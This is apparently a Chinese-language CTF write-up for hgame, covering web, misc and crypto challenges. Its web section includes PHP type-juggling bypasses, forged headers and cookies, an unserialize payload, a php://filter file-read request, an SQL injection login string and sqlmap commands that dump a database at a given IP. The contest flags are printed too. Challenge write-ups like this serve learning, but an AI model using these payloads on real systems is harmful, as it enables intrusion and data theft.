由于水平有限,就写写自己做出来的题目。
Web
Level - week1
这部分还是比较简单的说
Are you from Europe?
进去一看,呀,竟然是抽SSR,看来我们这种非酋应该是没什么手气了吧。
直接看源代码,发现最后有
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('w p(){b a=l("8!k,j 8 o 1 m?");5(!$("#4").7()&&!$("#9").7()){2("i。");f}b 1="";1+="";1+="";1+="";1+="y";1+="{";1+="g";1+="h";1+="3";1+="6";1+="v";1+="h";1+="0";1+="s";1+="e";1+="u";1+="6";1+="0";1+="n";1+="r";1+="!";1+="}";5(a){$("#4").d();$("#9").d();2("t。1: "+1)}q{2("x。")}}',35,35,'|flag|alert||serv5|if|_|html|SSR|craft5|buy|var||remove||return|T||你根本不是欧洲人|你愿意献祭你全部的|欧洲人|confirm|吗||来获取|soHappy|else|E||兑换成功|N|C|function|你失去了唯一的机会|hgame'.split('|'),0,{}))
一看就是js混淆,直接丢去解密
得到
function soHappy() {
var buy = confirm("SSR!欧洲人,你愿意献祭你全部的 SSR 来获取 flag 吗?");
if (!$("#serv5").html() && !$("#craft5").html()) {
alert("你根本不是欧洲人。");
return
}
var flag = "";
flag += "";
flag += "";
flag += "";
flag += "hgame";
flag += "{";
flag += "T";
flag += "h";
flag += "3";
flag += "_";
flag += "C";
flag += "h";
flag += "0";
flag += "s";
flag += "e";
flag += "N";
flag += "_";
flag += "0";
flag += "n";
flag += "E";
flag += "!";
flag += "}";
if (buy) {
$("#serv5").remove();
$("#craft5").remove();
alert("兑换成功。flag: " + flag)
} else {
alert("你失去了唯一的机会。")
}
}
得到flag
special number
这题一开始我还没做出来233333,果然自己还是太菜了。 题目直接给出代码
include_once("flag.php");
if(isset($_GET['key'])){
$pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{7,}$/ ';
$key = $_GET['key'];
if(preg_match($pattern,$key)===0){
echo "格式错误";
}else{
$lock="******************";
$b = json_decode($key);
if($b==$lock)
echo $flag;
else
echo "this is no special number";
}
}
这题便是一个php弱相等的题,这个正则就是一串数字跟字母
于是便想到了比较经典的0e
试了一下key=0e11111111111
,就过了23333.
can u find me?
题目很直接地提示了
only robot know where is the flag
于是robots.txt
了解一下
User-agent: *
Disallow: /f1aaaaaaaag.php
这就没什么意思了。。
结果还没完,心里又一高兴
only admin can get flag
看到Cookie
Cookie:user=guest
js修改cookie了解一下,然后拿到flag
tell me what you want
根据提示输入flag
request method is error.I think POST is better
很明显的提示,然后改成POST发包,body为want=flag
得到Response:
https://www.wikiwand.com/en/X-Forwarded-For
only localhost can get flag
在修改请求头X-Forwarded-For
为127.0.0.1
得到Rep:
<br/>https://www.wikiwand.com/en/User_agent
<br/>please use Icefox/57.0
这个就不能直接修改ua为Icefox/57.0
了,得带上普通浏览器的ua,随便拿个firefox的ua进行修改
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
改成
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Icefox/57.0
得到Rep:
<br/>https://www.wikiwand.com/en/HTTP_referer
<br/>the requests should referer from www.google.com
再改请求头Referer:www.google.com
得到Rep:
<br/>https://www.wikiwand.com/en/HTTP_cookie
<br/>you are not admin
又得来修改cookie了…查看Cookie
直接发现有个isadmin=0
,那就改成1就好了,最后得到flag
我们不一样
include_once("flag.php");
if(isset($_POST['str1'])&&isset($_POST['str2'])){
if ($_POST['str1']!=$_POST['str2']&&strcmp($_POST['str1'],$_POST['str2'])==0) {
echo "flag is:".$flag;
exit();
} else{
echo "Something wrong..";
}
}
一看又是一题php弱相等,考察strcmp
,只要其中一个为数组就好
str1=0&str2[]=0
得到flag
Level - week2
Random?
打开地址啥都没有,一开始没什么思路,后来经过大师傅提醒,才注意到题目描述中说了
多random几次没准就随机到一样的值呢 PS:网不好vim线上改代码真是致命
既然是提到了vim改代码,那就可能会有源码泄露,vim的编辑临时文件为.random.php.swp
果然得到一个.swp文件,但是在windows下是看不了的。于是拖到了kali里面用vim
恢复原始文件
把.swp
文件放到随便一个目录下,然后用
$ vim -r random.php
便可直接恢复random.php
文件
看到源代码
<?php
error_reporting(0);
include ('flag.php');
class emmm
{
var $public;
var $secret;
}
if ($_GET['emmm']) {
$emmm = unserialize($_GET['emmm']);
if (!is_object($emmm)) {
die("error");
}
$emmm->public = random_int(0, 100000000);
$emmm->secret = random_int(0, 100000000);
if ($emmm->public == $emmm->secret) {
echo $flag;
}
}
#highlight_file(__FILE__);
发现还是一个反序列化的题,这题弄了挺久没弄出来,还是参考了一下其他小伙伴的做法
总之按照题目意思,就是得使得emmm
的public
与secret
相等,那就构造一个实例化对象,让他们的public
与secret
相等就好了,注意一下相等时候要有&
$a = new emmm();
$a->public = &$a->secret;
echo serialize($a);
得到payload:
emmm=O:4:"emmm":2:{s:6:"public";N;s:6:"secret";R:2;}
拿到flag
草莓社区-2
不知道是不是题目的问题show_maopian.php?mao=2.jpg
竟然不能显示图片…
然后发现竟然可以有/etc/passwd
,但是没有拿到/etc/shadow
,也就拿不到服务器
题目提示flag在../flag.php
,又不能直接访问,那就用php伪协议试试
show_maopian.php?mao=php://filter/read=convert.base64-encode/resource=../flag.php
得到
PD9waHAKCSRmbGFnPSJoZ2FtZXshbTRvX3BpNG5fQ2hhT19oYW9fa2FuIX0iOwo=
解码便得到flag
草莓社区-1
也不知道出题人怎么想的,这题简单得多,但是顺序放在了2下面,这次是show_maopian.php?mao=1.jpg
和show_maopian.php?mao=1.jpg
都可以读到图片,那就根据题目提示直接试试读一下../flag.php
,直接拿到flag…2333
xss-1 & xss-2
接下来的这两个题就没怎么去做了,而且题目要求:payload需要在chrome和firefox上都能使用,且不能有交互。感觉挺难的,就没花时间弄了
记录一下题目以后看看(虽然极有可能不会去看…)
xss-1
function charge(input) {
input = input.replace(/script/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');
return '<article>' + input + '</article>';
}
xss-2
function charge(input) {
input = input.replace(/script/gi, '_');
input = input.replace(/img/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');
input = input.replace(/\>/,'_');
return '<input value="' + input + '" type="text">';
}
最简单的sql题
还真是最简单的…
payload: username=admin%27+or+1%3D1+%23&pwd=1
Level - week3
正常的SQLi
这题我还没做出来,页面显示
因为出题人太懒了,所以现在没有任何功能
hello guest
提示也没那么明显,有判断guest,发现Cookie里有name=Z3Vlc3Q%3D; isadmin=0
,那就改改,然后发现没什么用
没什么头绪就扫扫,然后发现有备份.bak文件,下载后发现源码
<?php
.....
$username = base64_decode($_COOKIE['name']);
.....
$sql = "select * from user where username = '{$username}'";
$re = mysqli_query($conn, $sql);
$rs = mysqli_fetch_array($re);
// echo $rs['flag'];
echo $username . '<br/>';
echo "因为出题人太懒了,所以现在没有任何功能";
.....
送分的SQLi
输入admin提示
Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /home/hctfgame/week3/sqli2/index.php on line 8
Unknown column 'admin' in 'where clause'
自己手注还不是很厉害,还是用sqlmap吧23333(sqlmap真是太强大了orz)
既然有了mysql的报错,那就可以省掉判断数据库的步骤了
$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql --dbs
available databases [3]:
[*] information_schema
[*] test
[*] week3_sqliiii2
$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 --tables
Database: week3_sqliiii2
[2 tables]
+----------+
| f111aa4g |
| users |
+----------+
$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 -T f111aa4g --columns
Database: week3_sqliiii2
Table: f111aa4g
[3 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| dajiangyoude | char(20) |
| f111aaaggg_w3 | char(40) |
| id | int(11) |
+---------------+----------+
$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 -T f111aa4g -C "dajiangyoude,f111aaaggg_w3,id" --dump
Database: week3_sqliiii2
Table: f111aa4g
[1 entry]
+---------------+-----------------------------------+-------+
| dajiangyoude | f111aaaggg_w3 | id |
+---------------+-----------------------------------+-------+
| kan_wo_gan_ma | hgame{Th3_e4sist_sql_injeCti0n##} | 10086 |
+---------------+-----------------------------------+-------+
拿到flag
Misc
Level - week1
白菜1
题目提示LSB,那就去看看吧
根据CTF wiki的提示操作得到flag
白菜2
$ binwalk misc2.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
1037199 0xFD38F Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 39, name: flag.txt
1037368 0xFD438 End of Zip archive
发现有zip
$ dd if=misc2.jpg of=misc2.rar bs=1 skip=1037199
直接dd提出rar得到里面的flag
pacp1
看到最后有一个GET /flag.php
的请求。追踪一下即可得到flag
Crypto
Level - week1
easy Caesar
vuoas{Hvs_ei8qy_pf7kb_1l_xIadg_cjSf_o_Zo9m_rCu}
凯撒加密。没什么好说的
Hill
Not hard key:9 17 6 5 Ciphertext:phnfetzhzzwz
懒得解了…
Polybius
FDXDGDADDG_FXXFAAXFAG_GDFXFFXFFXADXFDA_GDAD
根据题目,感觉像是ADFGVX密码。
orjtz_nebel_jnsented_jt
confusion
--/.-./.-../-/-.-/-..../-.-/-..-/-./...-/--../-..-/--.-/.--/-.../.../-./.-/..---/..-./.../..-/..---/--./--./-.../.../.--/....-/...../-.../.../.-../.-/--../..-./..-/-..../.../...-/.---/-.../-./-../.-/--../.../.-./..../..-/-..../--.-/-...-/-...-/-...-/-...-
摩斯电码,解得
MRLTK6KXNVZXQWBSNA2FSU2GGBSW45BSLAZFU6SVJBNDAZSRHU6Q====
base32再解得
dW5yWmsxX2h4YSF0ent2X2ZzUHZ0fQ==
base64再解得
unrZk1_hxa!tz{v_fsPvt}
rot13再解得
haeMx1_ukn!gm{i_sfCig}
最后用栅栏解得到flag
baby step
pow(0x1111111111,flag,0x976693344d) = 0x7ac21f64ed
结果转换成5字节可见字符